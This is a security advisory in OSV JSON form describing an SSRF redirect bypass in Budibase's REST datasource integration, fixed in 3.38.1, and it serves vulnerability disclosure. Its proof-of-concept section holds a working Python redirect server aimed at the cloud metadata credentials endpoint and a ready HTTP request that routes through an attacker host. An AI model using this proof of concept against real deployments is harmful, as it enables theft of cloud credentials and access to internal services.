{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@budibase/server"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "3.38.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-45715"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-15T17:53:08Z",
    "nvd_published_at": "2026-05-27T18:16:25Z",
    "severity": "HIGH"
  },
  "details": "### Summary\n\nThe REST datasource integration follows HTTP redirects without re-checking the IP blacklist, allowing an authenticated Builder to access internal services (cloud metadata, databases) by redirecting through an attacker-controlled server. The same vulnerability class was already patched in automation steps (`fetchWithBlacklist` in `packages/server/src/automations/steps/utils.ts`) but the REST integration was missed.\n\n### Details\n\n**Vulnerable file:** `packages/server/src/integrations/rest.ts`, lines 754-778\n\nThe `_req()` method checks the request URL against the IP blacklist at line 754, then calls `fetch(url, input)` at line 778. No `redirect: \"manual\"` option is set, so undici\u0027s fetch defaults to `redirect: \"follow\"`, automatically following HTTP 301/302/307 redirects **without re-validating the redirect target against the blacklist**.\n\n```typescript\n// Line 754 \u2014 blacklist check on original URL only\nif (await blacklist.isBlacklisted(url)) {\n  throw new Error(\"URL is blocked or could not be resolved safely.\")\n}\n\n// Line 778 \u2014 fetch follows redirects, NO re-check on redirect target\nresponse = await fetch(url, input)\n```\n\nThe automation steps already implement the correct fix in `packages/server/src/automations/steps/utils.ts` (lines 100-136) via `fetchWithBlacklist()`, which sets `redirect: \"manual\"` and re-checks the blacklist on every redirect hop. The REST integration does not use this safe wrapper.\n\nRelevant prior fix commits on the automation side:\n- `6cfa3bcca3` \u2014 \"fix(server): enforce outbound blacklist in webhook automation steps\"\n- `e7d47625be` \u2014 \"Fix automation webhook blacklist redirect bypass\"\n\n### PoC\n\n**Step 1 \u2014 Set up a redirect server (attacker-controlled):**\n\n```python\nfrom http.server import HTTPServer, BaseHTTPRequestHandler\n\nclass RedirectHandler(BaseHTTPRequestHandler):\n    def do_GET(self):\n        self.send_response(302)\n        self.send_header(\u0027Location\u0027, \u0027http://169.254.169.254/latest/meta-data/iam/security-credentials/\u0027)\n        self.end_headers()\n\nHTTPServer((\u00270.0.0.0\u0027, 8080), RedirectHandler).serve_forever()\n```\n\n**Step 2 \u2014 As a Builder, create a REST datasource pointing to the attacker\u0027s server.**\n\n**Step 3 \u2014 Preview a query:**\n\n```http\nPOST /api/queries/preview HTTP/1.1\nHost: \u003cbudibase-instance\u003e\nContent-Type: application/json\nCookie: \u003cbuilder-session\u003e\nx-budibase-app-id: \u003capp-id\u003e\n\n{\n  \"datasourceId\": \"\u003crest-datasource-id\u003e\",\n  \"queryVerb\": \"read\",\n  \"fields\": {\n    \"path\": \"http://\u003cattacker-ip\u003e:8080/\",\n    \"queryString\": \"\",\n    \"headers\": {},\n    \"bodyType\": \"none\",\n    \"requestBody\": \"\"\n  },\n  \"parameters\": [],\n  \"transformer\": \"return data\",\n  \"name\": \"ssrf-test\",\n  \"schema\": {}\n}\n```\n\n**Step 4 \u2014 The blacklist check passes (attacker IP is public), undici follows the 302 redirect to the internal target, and the response is returned:**\n\n```json\n{\n  \"rows\": [{\n    \"couchdb\": \"Welcome\",\n    \"version\": \"3.3.3\",\n    \"uuid\": \"a84d3353128485a22973a759df2387bc\"\n  }]\n}\n```\n\nTested and confirmed on Budibase v3.34.6 running locally with default blacklist active.\n\n### Impact\n\n- **Cloud credential theft:** On AWS/GCP/Azure instances, attacker accesses `169.254.169.254` to steal IAM credentials or service account tokens.\n- **Internal service access:** CouchDB (`:4005`), Redis (`:6379`), MinIO (`:4004`), and other internal services become accessible\n- **Bypasses explicit security control:** The IP blacklist exists specifically to prevent this, and works correctly for direct access \u2014 only the redirect path is unprotected.\n- **Already-known vulnerability class:** This was previously identified and fixed in automation steps (commits `6cfa3bcca3`, `e7d47625be`) but the REST datasource integration was not patched.",
  "id": "GHSA-fgqv-jh4g-pvg2",
  "modified": "2026-06-08T23:50:37Z",
  "published": "2026-05-15T17:53:08Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/security/advisories/GHSA-fgqv-jh4g-pvg2"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-45715"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Budibase/budibase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Budibase/budibase/releases/tag/3.38.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Budibase: SSRF Bypass via HTTP Redirect in REST Datasource Integration"
}